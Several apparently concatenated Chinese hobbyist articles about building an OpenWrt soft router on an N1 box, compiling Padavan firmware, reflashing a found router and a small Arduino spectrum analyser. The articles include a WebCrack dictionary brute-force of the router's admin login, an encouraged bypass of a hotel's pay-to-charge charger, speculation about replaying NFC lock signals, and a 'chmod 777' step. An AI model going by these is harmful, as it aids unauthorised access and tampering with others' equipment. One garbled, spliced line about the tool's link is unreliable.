背景:

现在大家家里面都有路由器了。

路由器最主要的功能可以理解为实现信息的转送。因此,我们把这个过程称之为寻址过程。因为在路由器处在不同网络之间,但并不一定是信息的最终接收地址。所以在路由器中, 通常存在着一张路由表。根据传送网站传送的信息的最终地址,寻找下一转发地址,应该是哪个网络。其实深入简出的说,就如同快递公司来发送邮件。邮件并不是瞬间到达最终目的地,而是通过不同分站的分拣,不断的接近最终地址,从而实现邮件的投递过程的。路由器寻址过程也是类似原理。通过最终地址,在路由表中进行匹配,通过算法确定下一转发地址。这个地址可能是中间地址,也可能是最终的到达地址。 

路由器的功能就是将不同的子网之间的数据进行传递。 具体功能有以下几点:

(1)实现IP、TCP、UDPICMP等网络的互连。

(2)对数据进行处理。收发数据包,具有对数据的分组过滤、复用、加密、压缩及防护墙等各项功能。

(3)依据路由表的信息,对数据包下一传输目的地进行选择。

(4) 进行外部网关协议和其他自制域之间拓扑信息的交换。

(5) 实现网络管理和系统支持功能。

软路由和硬路由都是路由器所以他们最基本的功能都是实现信息的传输。那为什么还要有软路由和硬路由之分呢?

硬件路由器像很多家里面宽带师傅上门给你推荐安装的都是硬件路由器,淘宝上面成本不高,尤其是给一些家里面不懂的人安装,价格可以稍微提高一点赚点差价。之前干过一段时间的装维,这里面的利润还是挺大的,我一个月靠卖路由器都赚了2K+。很多人都闲麻烦就选择从我这里拿,我主要是看装宽带家里面人用什么手机,像华为的话,我一般就会推荐华为的路由器,支持NFC一碰即连。小米我就推荐小米的,苹果的我就推荐华硕什么的,一般家庭我根据使用人数我也会带一些水星等牌子的路由器。

在说到硬件路由器,硬路由是采用特定的硬件设备,基于嵌入式系统架构,以自行开发或是现成的嵌入式操作系统 如Vxworks,uClinux 等等为操作系统,再配合系统厂商自行开发的路由软件,提供专门的路由器功能,软件与硬件是互相配合的。对硬件路由器的管理通常采用专用命令行、图形界面或网管软件实现,市面上售卖的路由器一般都是硬件路由器。

软路由我用一个不太恰当的例子就是一台电脑你安装了win10然后还开了虚拟机安装了win7和Linux。

软路由就是使用软件模拟硬路由。

为什么要软路由???直接使用硬件路由不就好了嘛?

那我问你,你的工作需要同时在win10,win7,Linux下同时工作,你是选择买三台电脑回来还是在一台电脑上面用虚拟机开三个系统呢?

不懂没关系,因为有钱人用硬路由,你肯定是有钱人。能同时买三台电脑。

硬件路由器想要实现很多功能的话只能购买很高端的配置,但是价钱不菲啊,一般家庭不会选择这个方案的!!!!

软件路由器一般硬件配置要比硬件路由器配置高,所以某些情况下速度比几千上万元的硬件路由器稳定还要快。至于软件路由器的稳定性,受益于稳定的Linux和BSD内核。

好了找到一个省钱的办法实现买一个高端的硬件路由器的发子了,那为什么要使用软路由呢?

你还不懂嘛?我最常用的就是一些特殊的上网功能了,硬件路由器基本无法解码。尤其是我上面卖的路由器,一些特殊功能还是得依靠强大的算力才能满足(我一直以为树莓派应该就可以满足我的需求了,直到我看到有人用I7处理器做软路由,我才意识到贫穷给我想象力带来的限制)。但是很多人都是通过使用电脑软件来满足一些需求的,但是有这样的局限性,比如说我像手机也有一些特殊功能,又得在手机上安装软件,那我想电视上面也想使用一些特殊功能,难不成又去电视上安装吗?

所以从路由器下手是个不错的选择,一旦路由器(一旦集团会出路由器吗?)拥有了特殊功能,那么他WIFI下的设备也都可以访问了。

软路由的特殊功能还有很多,我这里只是举了一个简单的例子说明。

制作过程:

选择硬件:

首先大家要给自己定一个位,大概需要什么功能,能达到什么效果.

了解这些之后就可以选择硬件了。

我制作软路由只是为了满足去一些国内去不了的网站查资料,所以我的需求不高,所以我的预算并没有很高。

首先考虑家里面有的设备:

1.树莓派2B+

想起了家里有闲置的树莓派2B+(家里面有不少)。但是没有内存卡,没有外壳,没有电源。单网口,我到不是很介意但是折腾起来麻烦。而且看了网上一些测评效果不是很好。

2.电视机顶盒:

之前做装维的时候存了不少,现在这些电视机顶盒应该都是被公司回收的。咸鱼上看了一下,回收也就20~30之间,所以我就一直放在家里面,自己刷了其他固件,可以实现安装第三方软件也还不错。内存2G,8G的存储。海思的芯片,反正我是没有找到过他们的内核源码。之前想把这些机顶盒安装上Kali,作为一个渗透的盒子带出去的,捣鼓了很久没有成功,最后就放弃了。看了网上也没有人用机顶盒高软路由的,我想还是放弃吧,毕竟比我聪明比我能折腾的多着呢。他们没成功我估计我也好不到那去。放弃!

家里就这些东西,就在这时,我有个哥们跟我说他手上有批货出不掉,问我要不要搞两个玩玩。

出不掉??我当时第一反应就是违法的。结果他给我发来照片,一堆盒子,就是电视机顶盒N1。现在淘宝咸鱼都搜不到。斐讯的货,那估计质量不差。就叫他发了一个过来。

查了一下资料

分辨率  支持4K输出 
SoC  Allogic S905D 64bit 4Core Cortex-A53 1.5G Hz 
GPU  Mali-450 
RAM   2GB 
ROM   8GB eMMC 
WIFI  2.4G/5G 
电源    5V/2A x1 
网口  千兆网口 x1 
HDMI  1
USB  USB2.0 x2 

内存2G,闪存8G完全够了。图上有个没写那就是他的网口是千兆的!这一点很关键,作为一个盒子他只有一个网口很正常,但是作为一个路由器他只有一个网口,那么他的传输速率就是他的限制条件了,一个千兆的网口当然比百兆的好多了。他的处理器也很强1.5G,4核,我感觉我是满足了。事实我用了将近半个月了一直没有出现问题,很稳定。作为一个旁路由辅助我的硬件Fast路由器。

刷机:

到手之后是斐讯的可能要降级。

你需要准备网线一根,电源,公对公的USB数据线,U盘4G以上,HDMI线。

(做装维的时候有不少的网线,也有自己做的,HDMI就更多了,唯一缺的是一个公对公数据线)

这是我已经全部成功的。

降级很简单,有人写了批处理文件,大家上网搜索即可。

由于我在操作的时候没有拍照,所以导致现在写文章没什么图片,但是为了你们的体验我决定干起了图片搬运工的工作了。

首先你得判断你的盒子是否需要降级,有些盒子的系统是不需要降级的。

https://post.smzdm.com/p/a3gw5vqr/ 

这个连接有详细的刷机教程。跟着做就OK,我也是看他的教程的。很棒。

至于自己编译固件,我上一篇文章中有说到编译一个属于自己的Openwrt。

刷完之后就是这个样子。

网上有人讨论刷+版还是+o版。+o听说有些不稳定,大家要是还是使用33+吧,我也没多试。

配置:

完成上面的,你的软路由已经完成了,接下来就是一些配置工作了。为什么要配置?

主要的原因是N1盒子他只有一个网卡,一般用它做旁路由辅助主路由器更多。那么他的网口就对把主路由器的数据进行收发并进行处理。旁路由和协处理器相似。

我也在恩山论坛上面看到用N1盒子做位主路由器的。大家也可以去试试,毕竟N1盒子的算里还算可以。

我的主路由也就是1极路由器IP:192.168.0.1

旁路由N1IP: 192.168.0.103

在主路由器里面把N1的盒子的IP和MAC地址绑定起来,这样就不会每次进N1后台要先查IP的问题。

之后进入N1禁用LAN接口DHCP

然后修改网关地址,修改到主路由器。这样N1的数据就会返回给主路由了。

这里有人会问为什么上面要关闭IPV6,因为我家的主路由器不支持IPV6。还有一点就是设置了DHCP指向了主路由器。

然后再N1的DHCP中强制使用DHCP。

配置好一些服务之后就可以出去搜索资料了。测速看看。还可以看一些视频教程不卡顿。

上面是使用有线连接,下面是使用无线连接。可以看到下载速度稍微降低了一点,估计更硬路由的配置有关。

家里面回来安装的应该是500M的宽带,为什么只能测出100M到200M?

找开发商,找装修的师傅,你问问他们在装修的时候用的什么网线。垃圾,我用手都能拉断。

有一次家里面断网了,我排查了半天判断出应该是光猫出问题了。我使用我的特权查了一下手机号和光猫SN码,发现网络是没有问题的,但是莫名其妙的我的光猫的百兆2号口被锁了(是我使用特殊功能导致的码???),我就拔了百兆2号口,然后不小心拉断了网线,我擦啊啊啊啊,垃圾太垃圾了。但是无奈只能这样了,我也没办法重新买网线在家里面布置。自己尝试换了根网线蹲在沙发后面电脑直接连接,网速可以基本跑满。

后续:

openwrt里面的功能很多,可以作为一个下载设备,可以做一个小NAS(如果脸皮厚的话我会再找便宜要一个N1回来做一个小NAS玩玩),可以过滤广告,可以S·S·R。

openwrt里面集成了软件中心可以在线安装你想要的软件,基本你需要的他都有了。

我最常用的功能。

由于N1有两个USB,所以你还可以通过N1把你的打印机变成无线的,这对很多在zf的老式的打印机很适用。只要在这个局域网中安装好驱动就可以使用这个打印机。虽然我的打印机支持网络连接。

qbit可以帮助你下载东西,我基本用不到。但是有些喜欢看片的,估计使用频繁啊。

不少人喜欢多播,但是我也用不到。

软路由的功能很强大,你想怎么折腾都可以。看你怎么玩了

注:

之前是准备买一个工控机来做软路由的,但是看到N1盒子挺强大的而且又不花钱,所以就使用N1盒子做软路由。如果大家的要求很少的话也是可以使用N1盒子作为软路由使用的。就我使用来看一点都没问题,同时我开了过滤广告等很多功能效果真的很棒。至于N1盒子,估计买不到了。网上都被封杀了,具体的原因大家自己去吃瓜吧。

至于我为什么没有使用之前捡到经过刷机的路由器,因为它的lan口太少了,只有两个。现在N1作为辅助,硬路由作为主路由器满足了我的需求,所以之前的路由器就退伍了。

下期预告:

我后面是准备做一个简单的家庭NAS,只是方便存文件,也没什么机密文件。之前爆出来党妹的NAS出问题了,我到不是很害怕,因为我不连外网,就局域网内使用。我们工作组三个人用。可能还会使用N1盒子如果能白嫖到的话。也有可能使用工控机,然后安装黑群晖或者开源的NAS系统。

引用:

在捣鼓的时候,下面的帖子帮到了我很多,大家也可以看看。

如何把OpenWrt刷入emmc 

N1刷机/救砖/设置旁路有/全家富强 

让N1 CoreELEC支持从U盘启动、eMMC启动、支持双系统切换 

N1单臂路由疑难杂症解决方案

*本文作者:LEdge1,转载请注明来自FreeBuf.COM

上一期的文章发出之后,得到了很多小伙伴的关注,这次还是围绕之前见到的那个路由器做文章。

优缺点分析:

潘多拉固件功能还是非常不错的,但是她不像OpenWrt安装软件那样非常方便。

当时我使用了Putty进入后台准备安装点其他的软件发现他的opkg命令都没有。不过我发现了又一个opkg的脚本运行之后,就可以使用opkg了。然后才能安装RTL-SDR等其他软件了。要稍等一会。才能安装成功。我当时安装这个是为了再我的路由器上用SDR的。因为我之前捡到的盒子的CPU是MT7620.查看了数据手册之后发现是可以外接USB的。

但是上网查找了一些资料之后发现其实潘多拉固件里面很多功能都是有的,只不过在编译的时候开发人员并没有开启某些功能,要是想用某些功能的话就得自己编译固件。

我还没有开始打磨CPU,我想说的是不是那么简单的。由于最近一直再家里面很多设备也都不齐全,所以我还是准备点其他的工作吧。这一项工作还是多做点前导工作吧。

得,上手开始编译固件吧。

编译固件

编译环境:

LINUX(我使用的是UBuntu16,当时为了研究GNURadio的时候再虚拟机里面安装的),当然了windows10的子系统也是可以的。大家只要开启服务,然后安装他的子系统就好啦。

配置的话,我感觉都还好,我的电脑是8G的运行内存。128G的固态,外加1TB的硬盘。我看了网上的一些帖子好像都说硬盘要有30G的容量。不过我相信现在大家电脑的配置都不会差吧。当然了你是物理机安装Linux系统的话也挺好的。

我之前有一台旧笔记本电脑安装好了KALI LINUX。600块再咸鱼上给卖了。要不然这次我就用那台电脑编译了。

前期准备:

我看了网上有人说要更换源,反正我没更换,软件更新也很快。大家要是出现更新慢的情况下还是换一下。也就两句命令的事。但是我懒,我就不换啦。

安装依赖包:

很多小伙伴少了这一步导致最后编译的时候出现各种命令不存在的错误。当然了也可以先编译,出问题了之后再来安装那些需要的依赖包。

上命令:

# 对于deb系(debian/ubuntu):
sudo apt update
sudo apt installunzip libtool-bin curl cmake gperf gawk flex bison nano xxd \
cpio gitpython-docutils gettext automake autopoint texinfo build-essential help2man \
pkg-configzlib1g-dev libgmp3-dev libmpc-dev libmpfr-dev libncurses5-dev libltdl-dev
# 对于pacman系(ArchLinux/manjaro):
sudo pacman -Syu--needed git base-devel cmake gperf ncurses libmpc gmp python-docutils \
vim rpcsvc-proto

下载源码:

git clone --depth=1 https://gitee.com/hanwckf/rt-n56u.git /opt/rt-n56u

准备编译工具:(重要)

我看了网上很多人都是直接下载编译的工具,其实可以从源码里面编译编译的工具啊,只不过要编译一会才行,时间也不会很长,相对于很多网络不太好的小伙伴可以尝试直接从源码里面编译。

然后再给这个文件夹权限,直接777。后面很多的操作是需要的各种权限的,还不如现在就搞定。

sudo chmod 777/opt
# 可以从源码中直接编译工具,这样的话就多了一把王者荣耀的时间。
./clean_toolchain
./build_toolchain
 
# 或者下载预编译的工具链:
mkdir -p toolchain-3.4.x
wget https://github.com/hanwckf/padavan-toolchain/releases/download/v1.0/mipsel-linux-uclibc.tar.xz

我是直接从源码中编译的

修改配置文件:

这一步其实吧,我认为看这篇文章的人肯定是要的。里面有很多功能都是可以开启的。不过默认很多功能还是没有开启,再这里你可以手动的开启。

大家仔细看一下这里面的文档,就算你英文在差很多你都能看懂的。比如说什么Qos啦,比如说RTL-SDR啦。

n代表不开启,Y代表开启这个大家都知道吧。

当然了这里面也是可以选择语言的,我简易大家还是都开启了吧,万一出现一个特殊的字符无法显示就不好玩了。就算你能根据其他的字符猜出来大概的意思但是你看的不难受吗。非强迫症除外。手动狗头。

默认是不开启USB功能的,我在这里手动的给改一下,当然了,现在IPV6也是非常必要的,顺手给开启一下吧。

当然啦,里面有超级多的功能,大家自己慢慢在里面看吧。

忘了这里面还有一个超频的选项。我的建议是还是不要超频了。

超频到600MHZ.。她只是一个小路由器啊,你不要妄想用它烧开水了。这里说一下,我之前的路由器的糊味吧。在使用那个路由器几天之后发现发热现象挺严重的,而且信号也没刚刚捡回来的时候好了,我估摸着是小电阻小电容烧掉了,看看能不能换一个。0805封装的我应该还能接受,但是再小的话,我就将就着用吧。我就琢磨着给加一个小风扇,在家还真的找到了一个老式电源里面拆下来的小风扇,12V的供电和路由器的供电电压是一样的,到时候只要并联在电源上就好了。然后我又拆了一次机,发现卧槽!!!!!!!!!一个功放烧掉了。

大家仔细看,哎,我就用不了好东西。。。。。,赶紧给装一个小风扇吧。

这个是安装好的图片,由于安装的时候无法拍照片,只好留了两个电源线给大家看了。


跑题了


编译:

先清理一下之前的老旧文件。

cd/opt/rt-n56u/trunk

sudo ./clear_tree

然后我们看一下她支持哪些路由器。

大家可以看见有斐讯的,有小米的。我在测试之后发现貌似都可以,随便选。

OK,编译

sudo./build_firmware_modify newwifi

然后又多了一把王者荣耀的时间。

刷机:

编译好的固件在trunk/image里面。

这里有开始烦人了,我的虚拟机没有安装vmTOOLS,麻烦,还得安装,然后才能把文件给拖出来。其实我忘记了,还可以设置共享文件夹的方式,这个这个虚拟机里面很常用,但是我当时看到编译好的固件非常的着急哈哈哈,想上手试一下。

接下来就是刷机过程了,可以参照我的上一篇文章,其实非常的简单。

总结:

第一:别看我写的简单,但是还是建议大家上手自己试一下,真的,到你自己的时候,你会发现各种问题。我搞虚拟机什么的慢慢折腾了好几天。

第二:多看开发文档,很多小伙伴一遇到问题就百度什么的,虽然百度上面有时候可以快速的解决的你的问题,但是很多时候都是治标不治本。其实开发人员在开发软件的时候都是做好了一个教程的。(这也是我读书这么多年的经验,小时候做的资料很多都是书上的题目啊,你不多看书,非要好高骛远,赶紧做题比看书还重要,之前学习SolidWorks,去淘宝买教程,是不是交智商税,其实SW里面自带了一个超级详细的教程,一步一步的教你使用这款软件。还有就是平时在搞开发的时候,不要一出现问题就百度,就问人,我赶紧还是先自己排查问题吧,很多芯片的开发文档里面都是有的。

你想啊,可能现在百度上面的问题是前任解决的问题,万一在你之前没有人分享过这个问题的解决办法怎么办,难不成你就不工作了吗???不可能的啊,所以从现在开始就得培养我们自己的发现问题解决问题的能力。你要相信迟早有一天你会走的比别人远,那个时候你只能靠你自己!

内容参考:

恩山论坛(建议大家多去逛一逛,里面超级多的资源)不过注册好麻烦还得要邀请码。

*本文原创作者:LEdge1,本文属于FreeBuf原创奖励计划,未经许可禁止转载

最近小区结束了封闭管理,晚上抽个人少的时间段,去外面跑跑步,毕竟将近一个月没有出去过了。没想到在回家的路上见到了一个大博的路由器。小家伙外壳有点土,但是整体成色还不错,啥也没想,带回家看能不能玩一下。接上电之后是可以使用的。但是家里面已经有一台路由器了。想着能不能做一个旁路由使用。

前期刺探:

通过上网查询资料发现处理器是MT7620A。遵循了IEEE802.22b/g/n的网络标准

FLASH:16M(可以刷挺多固件了)

内存:128M

功率:400mW

供电:12V

接口:1WAN2LAN

开始搞机:

经过拆机之后发现机器是被人改过的,TTL接口被焊接过,上面还有焊锡和助焊剂的残留物。看来之前的人也是一个玩家啊。

拿到手之后我线不管啥,线恢复了出厂设置。然后接上了电脑。找到了路由器的后台,但是发现不知道账号密码,进不去。猜了几个也没成功。卧槽,我感觉是什么宾馆里面出来的路由器,固件可能是定制的。这样的话他的默认登录账号密码也不会特别难,而且好像没有登录次数验真,哈哈哈哈哈,那只要暴力攻击就好了。

不过做工还算不错里面有两个功放,看来覆盖范围不小。

两个小方IC就是功放。很多路由器都是没有的。像我家之前的TP-link

上传的图片有大小限制,只能截图之后上传了。

上工具:WebCrack

WebCrack是一款开源免费的web后台弱口令/万能密码批量爆破、检测工具

不仅支持如discuz,织梦,phpmyadmin等主流CMS的后台爆破,并且对于绝大多数小众CMS甚至个人开发网站后台都有效果,只需在工具中导入后台地址即可进行自动化检测。

根据我们平时使用burpsuite中的爆破的原理,可知webcrack的爆破原理与其差异不大,自动分析找到爆破点、带入字典进行匹配、判断是否成功。

这个小工具在Windows和Linux里面都有。

这里贴上他的github;http://192.168.1.1:端口号”进行查看,如果端口正确,将会出现路由器的登录界面。

破解管理员的用户名和密码

(1)管理员帐号密码是出厂值,就直接试下几个常用初始帐号密码。例如:“admin、admin”;”root、root”;”user、user”;“admin、password”,但如果是管理员用户名和密码已经修改过了,那就要去破解了。

借助“网页密码破解工具”“WebCrack”来帮忙,网页密码破解就是应用穷举法,从配套的字典文件读取预设好的密码一个个去试,这个靠的就是电脑的速度和耐性,密码短简单的也许只要几分钟,密码要是太长太复杂也许就是几天几年。

(2)下载WebCrack并安装。运行后首先点击“用户名文件”处的浏览按钮,创建文件。然后我们再去找些配套的字典文件,字典里是用转用软件生的各种不同的用户名和密码供软件一对对去匹配,例如admin、123456等常见的用户名,当然字典里面的数据越多,破解的概率就越大,密码输入格式为一行一个。回到WebCrack界面中,勾寻使用用户名字典”选项,并浏览选中刚才创建的文本文档。接着在“URL”中填入路由器的登录地址,设置完毕后,我们点击“开始”按钮进行探测。

OK开始爆破。出了账号密码。特别的快。不上图了。

拿到了账号密码进后台看看。果然是定制的固件。里面还有VPN,不过协议很老了,不能用了。

如果他刷了其他固件那很有可能就刷了BREED。MT7620刷breed非常简单,网上也有相应的程序。

这个工具是一位大佬为了方便刷breed开发的软件。里面对MT7620非常好。

不过事实证明我不需要这一步,我的路由器已经刷好了breed。看来之前的主人也是一个搞机大佬啊。

进后台

这里进breed的方法是断电后,按住reset,之后上电,大概十秒之后在浏览器里面登录192.168.1.1。OK.

非常简单。

接下来就是苦逼的生活了:我在网上找了超级多的固件,试了十几次才发现两个可以用的。啊啊啊啊啊。

左边两个是我现在用的固件,右边两个是我的备份文件,怕搞坏了还能用。

不过发现在左下角的那个老毛子的固件很棒。

其实老毛子即是对老外(一般指俄罗斯人)的统称,就是说国外的大牛基于某些开源项目比如基于华硕开源的衍生出来的系列Padavan系统,

由于是开源的项目所以基本上是没有后门什么的,当然基于开源项目二次编译的二进制文件就不一定干净了,这个就需要看编译者的节操了,目前网上流行的基于老毛子改版的华硕固件挺多的,基本上都是基于原老毛子开源的华硕系列编译和修改的,至于好处嘛很多,反正比一般路由器原本自带的原厂固件功能更多,更强大。

这是我家的网络情况:

旧固件网关:192.168.1.1

新固件网关:192.168.123.1

管理页面:http://my.router/

管理账号:admin/admin

里面的效果很棒。

之前要是出去看点资料的话还得在电脑上面打开一些小工具,不过现在就好了,直接在路由器里面配置,整个路由器下面的所有客户端都可以直接访问一下网站啦。

发现老毛子的固件里面插件很多,我开了两个,还有一个去广告的,不过,没一会我就闻到了糊味,对就是糊味,我赶紧把电源拔掉了,一模路由器,我去,可以当暖手宝了。又拆机去掉外壳之后用起来还好。

量了一下尺寸,准备去买一个电脑的小风扇给装上。

这两天用起来挺好的也没有发热特别严重的情况。不过今天又闲了,一不小心看到了MT7620的数据手册,

嘿嘿嘿,原来这个还可以支持USB啊,如果加上USB是不是可以做一个打印服务器,或者挂U盘呢。有这个想法的还是因为这个路由器和斐讯的的CPU是一样的,我很早之前看到过有人成功了,所以我也想试一下。反正坏了不要钱。?????

家里面没有工具,已经买了。家里面有砂纸啥的,看能不能把usb的接线给磨出来。不过我今天发现了一个问题,就是我的快递地址填错了。本来现在快递就慢,然后我还填错了。刚刚联系了卖家,帮我修改了地址。

结束:

兄弟们,如果我成功了我会再来的。如果没成功我就换下一个主题:跟着我一起捣鼓软路由

*本文原创作者:LEdge1,本文属于FreeBuf原创奖励计划,未经许可禁止转载

前言:

前面看了一个工程师硬改升降桌的视频,从中学习到了不少东西,当然也有自己的一些想法吧!

背景:

本来这款升降桌的只能用手按着开关让他到达一个你想要的高度,然后松开按键让其停止,但是这个工程师可能是经常要在俩个固定高度之间切换。

在了解完背景之后我简单分析一下这次逆向吧。

分析:

他首先拆机简单的查看了一下PCB的简单构造,看到主控是PIC的,3.3V的BUCK电路。

我推测是他可能不熟悉PIC主控,如果熟悉的话直接在PCB上硬改也是可以的。我就属于那种站着讲话不腰疼的那种,说的简单,但是真的要我做的时候可能漏洞百出。不过他的要求可能导致他使用Arduino开发。首先第一点,他需要有两个固定的高度,一个高一个低。然后还有停止。

开始找一些通信引脚

如果是我的话,在开发的时候,按键按下后执行一段程序,这个程序应该是控制电机转动的程序。而且是精确的控制步进电机或者伺服电机控制。但是控制他们转动的钥匙还是在那个按键上面,按键啥时候停止,脉冲信号什么时候停止。

但是看到视频上面他的控制方式却是通信,按键按一下,发射一个数据(RS232)并且,他在后面还将发射出来的数据与实际的高度数据进行了拟合,可以十分简单的使用EXCEL计算出来。可以使用最小二乘法,我在我的前前文章种也用到了这个算法。

既然这样的话,要达到他想实现的方式就很简单了,首先第一点在EEPROM种写入两个固定高度的数据,如果这个高度在你测试种没有获得,那你就可以使用前面使用最小二乘法计算出来的回归方程,带入计算出你想要的高度对应的数值。

在完成了高,低两个位置的确定之后就是欺骗了,为什么叫欺骗呢,我之前看过《无线电攻防》这本书,书的名字记得不太清楚了,是360独角兽写的。里面也用到了无线电方面的欺骗。我这里定义他为欺骗的主要原因是让电机转动的数据不是由PIC主控发出的,而是由Arduino主控发出的。他在这里应该是先读取当前位置的数据然后根据用户按键不同选择上升还是下降,最后与EEPROM中的数据进行对比。从而达到逆向了这个升降桌。让升降桌按下一次按键之后就可以到达指定位置,不用一直按着按钮了。

感想:

这个看起来感觉无关紧要,只是方便了一个工程师的日常工作罢了,但是你要是从安全的角度来考虑这个问题的话那就好玩了。

以下纯属猜测,也没做相关的调查,但是从理论上是可以实现的。

首先第一点,智能家居,物联网现在是越来越火了。这些设备里面MCU是不是和外设有通信,既然有通信那我们就可以欺骗。

假设:有一款NFC的门。现在绝大部分的人想开这个锁都是想办法克隆一份这个卡的数据重新写入。

但是如果一旦知道分析出这个NFC在识别到正确密钥时发射出去的信号,这里对于一些低速的通信协议可以使用淘宝上面几十块钱的逻辑分析仪进行分析。效果自己试试就好啦。在得到正确的信号之后,使用各种类型的MCU就可以实现正确信号的克隆。当然了也有通信时候的一点小插曲,就像现在很多模块都是3.3V,而想Arduino,51单片机来说输出的都是5V,0V,0V没问题,但是5V可能就不好了,这个时候你只要使用一个简单的三极管就好了。现在IIC也就两个数据线。非常好模拟。

一旦掌握正确的通信信号,那么同类型的设备全部被破。

附上我画的简图:

讲一个真实案例啊,大家知道就好不要学坏哦!

我之前住宾馆发现充电还得扫码,不是钱不钱的问题,是我手机没电关机啦!!!!!!气的LZ直接拆了那个联网的充电器,发现里面就一个三极管控制着。我当时用宾馆里面送的那种刀片式剃须刀把三极管的集极接到了电源指示灯的正极上面去了。结果就能充电了,大家要是再应急的情况下可以试一下,有可能我碰到的那种充电器里面结构比较简单吧。如果大家真的遇到特殊情况可以尝试一下。

我直接影响执行单元:

也上一张图吧:

结束语:

我看的视频连接:FreeBuf对一些关键词屏蔽,我也没办法,如果大家想看的话就自己去找吧。相信你们找资源的能力的,加油,奥里给!!!

*本文原创作者:LEdge1,本文属于FreeBuf原创奖励计划,未经许可禁止转载

作为一名电子爱好者,自己动手制作一些简单的硬件小设备还是非常有趣的。我之前也是发布了《制作HackCube中的坎坎坷坷》。这次带来的是一个简易的频谱仪。

说先要说一下为什么要制作这个小东西。

1. 为了装13

2. 为了看一下附件2.4G频段的信号,尤其是一些使用2.4G频段的航模爱好者,他们使用的遥控器是2.4G的,如果在这个频段范围内有太多的信号,可能会造成一些不可预料的影响。

3. 当然了为了制作这个的最直接的原因是手上有这些模块并且最近在研究频谱仪,频谱仪的价钱还是相当的贵的。制作的过程中,学习一些设备的通信的原理。比如这个里面就有IIC和SPI两种通信协议。

制作的材料:

1. Arduino uno开发板一块(我是用的是uno,当然了你也可以使用Nano等一些其他的开发板)

2. IIC接口的OLED显示屏一块好像是128*64的。淘宝上面有一堆,价钱也不是很贵。我选的是蓝色的,当然还有上半部分是黄色下半部分是蓝色的,你想要什么样的你自己做决定。当然了,你也可以尝试在一些更大的显示设备上面显示(TFT彩屏)

3. 射频模块nRF24L01:这个小东西网上也有很多型号的,什么邮票孔的啦,焊好排针的啦。这个也是随你的。

4. 其他:焊接工具,连接线,电源等

说完基本的硬件设备接下来就是软件问题了。刚刚开始的时候我是准备使用STM32F103制作这个小东西的。但是我发现有点麻烦,因为是寄存器入手32的,配置寄存器实在麻烦,我就想着能不能找一些已经完善的库来开发。我这个时候脑子一热,Arduino里面的集成库那个叫多啊。我就去网上查找了一些这方面的资料。结果不找不知道一找吓一跳。网上已经有大神做出来了。那我就算啦,直接跟着他们做吧。我看了网上有不少版本。

不过都是基于Arduino的,估计是Arduino里面有集成好的库文件吧。

开干

把程序烧入Arduino。就是简简单单的一步,还是有很多人出现问题。

首先第一点就是开发板没选好

我太难了,我把下载好的项目文件发给别人,他们还有人问我为什么下载失败。我过去一看,真的是各种问题。

第二点就是项目的文件不在一个文件夹里面

正常情况下你直接打开IDE文件的时候IDE会自动加载需要的库文件,但是不排除少数情况下,她找不到库文件。

第三,系统缺少库文件,对于我经常使用arduino来说电脑里面很多的库文件都是有的,如果说你在编译的时候出现了编译失败,并且还告诉你缺少了什么库文件,那你就下载相应的库文件吧。我这里还是演示一下吧

要什么库安装什么库。再不行那就去百度问问。

说完了一些错之后我就简单的说一下IIC和SPI的通信协议吧,至于我为什么用IIC的OLED,为什么使用SPI的射频模块。第一点我在网上购买射频模块的时候出来的都是SPI的,所以我也没得选择,不过OLED倒是有很多种,因为IIC的使用的线少,所以我就选择了使用IIC。最主要的是别人开源的里面就使用了IIC的,我不想改代码啦。

说一下IIC:相信很多小伙伴第一次使用IIC的时候应该是单片机开发板上面的EEPROM芯片。当时我学习51单片机的时候,STC89C51没有IIC的专用引脚,只能使用引脚模拟IIC啦。不过这样我感觉对IIC的协议的学习还是非常有帮助的。

一. 技术性能:

工作速率有100K和400K两种;

支持多机通讯;

支持多主控模块,但同一时刻只允许有一个主控;     

由数据线SDA和时钟SCL构成的串行总线;

每个电路和模块都有唯一的地址;                   

每个器件可以使用独立电源

二. 基本工作原理:

以启动信号START来掌管总线,以停止信号STOP来释放总线;当SCL为高时,SDA下跳为起始信号,上跳为停止信号。

每次通讯以START开始,以STOP结束;

启动信号START后紧接着发送一个地址字节,其中7位为被控器件的地址码,一位为读/写控制位R/W,R. /W位为0表示由主控向被控器件写数据,R/W为1表示由主控向被控器件读数据;

当被控器件检测到收到的地址与自己的地址相同时,在第9个时钟期间反馈应答信号;

写通讯过程:

1. 主控在检测到总线空闲的状况下,首先发送一个START信号掌管总线;

2. 发送一个地址字节(包括7位地址码和一位R/W);

3. 当被控器件检测到主控发送的地址与自己的地址相同时发送一个应答信号(ACK);

4. 主控收到ACK后开始发送第一个数据字节;

5. 被控器收到数据字节后发送一个ACK表示继续传送数据,发送NACK表示传送数据结束;

6. 主控发送完全部数据后,发送一个停止位STOP,结束整个通讯并且释放总线;

读通讯过程:

1. 主控在检测到总线空闲的状况下,首先发送一个START信号掌管总线;

2. 发送一个地址字节(包括7位地址码和一位R/W);

3. 当被控器件检测到主控发送的地址与自己的地址相同时发送一个应答信号(ACK);

4. 主控收到ACK后释放数据总线,开始接收第一个数据字节;

5. 主控收到数据后发送ACK表示继续传送数据,发送NACK表示传送数据结束;

6. 主控发送完全部数据后,发送一个停止位STOP,结束整个通讯并且释放总线;

四. 总线信号时序分析

1. 总线空闲状态

SDA和SCL两条信号线都处于高电平,即总线上所有的器件都释放总线,两条信号线各自的上拉电阻把电平拉高;

2. 启动信号START

时钟信号SCL保持高电平,数据信号SDA的电平被拉低(即负跳变)。启动信号必须是跳变信号,而且在建立该信号前必修保证总线处于空闲状态;

3. 停止信号STOP

时钟信号SCL保持高电平,数据线被释放,使得SDA返回高电平(即正跳变),停止信号也必须是跳变信号。

4. 数据传送

SCL线呈现高电平期间,SDA线上的电平必须保持稳定,低电平表示0(此时的线电压为地电压),高电平表示1(此时的电压由元器件的VDD决定)。只有在SCL线为低电平期间,SDA上的电平允许变化。

5. 应答信号ACK

I2C总线的数据都是以字节(8位)的方式传送的,发送器件每发送一个字节之后,在时钟的第9个脉冲期间释放数据总线,由接收器发送一个ACK(把数据总线的电平拉低)来表示数据成功接收。

6. 无应答信号NACK

在时钟的第9个脉冲期间发送器释放数据总线,接收器不拉低数据总线表示一个NACK,NACK有两种用途:

a. 一般表示接收器未成功接收数据字节;

b. 当接收器是主控器时,它收到最后一个字节后,应发送一个NACK信号,以通知被控发送器结束数据发送,并释放总线,以便主控接收器发送一个停止信号STOP。

五. 寻址约定

地址的分配方法有两种:

1. 含CPU的智能器件,地址由软件初始化时定义,但不能与其它的器件有冲突;

2. 不含CPU的非智能器件,由厂家在器件内部固化,不可改变。

这里的解释还是https://www.cnblogs.com/yan0837/articles/1202374.html

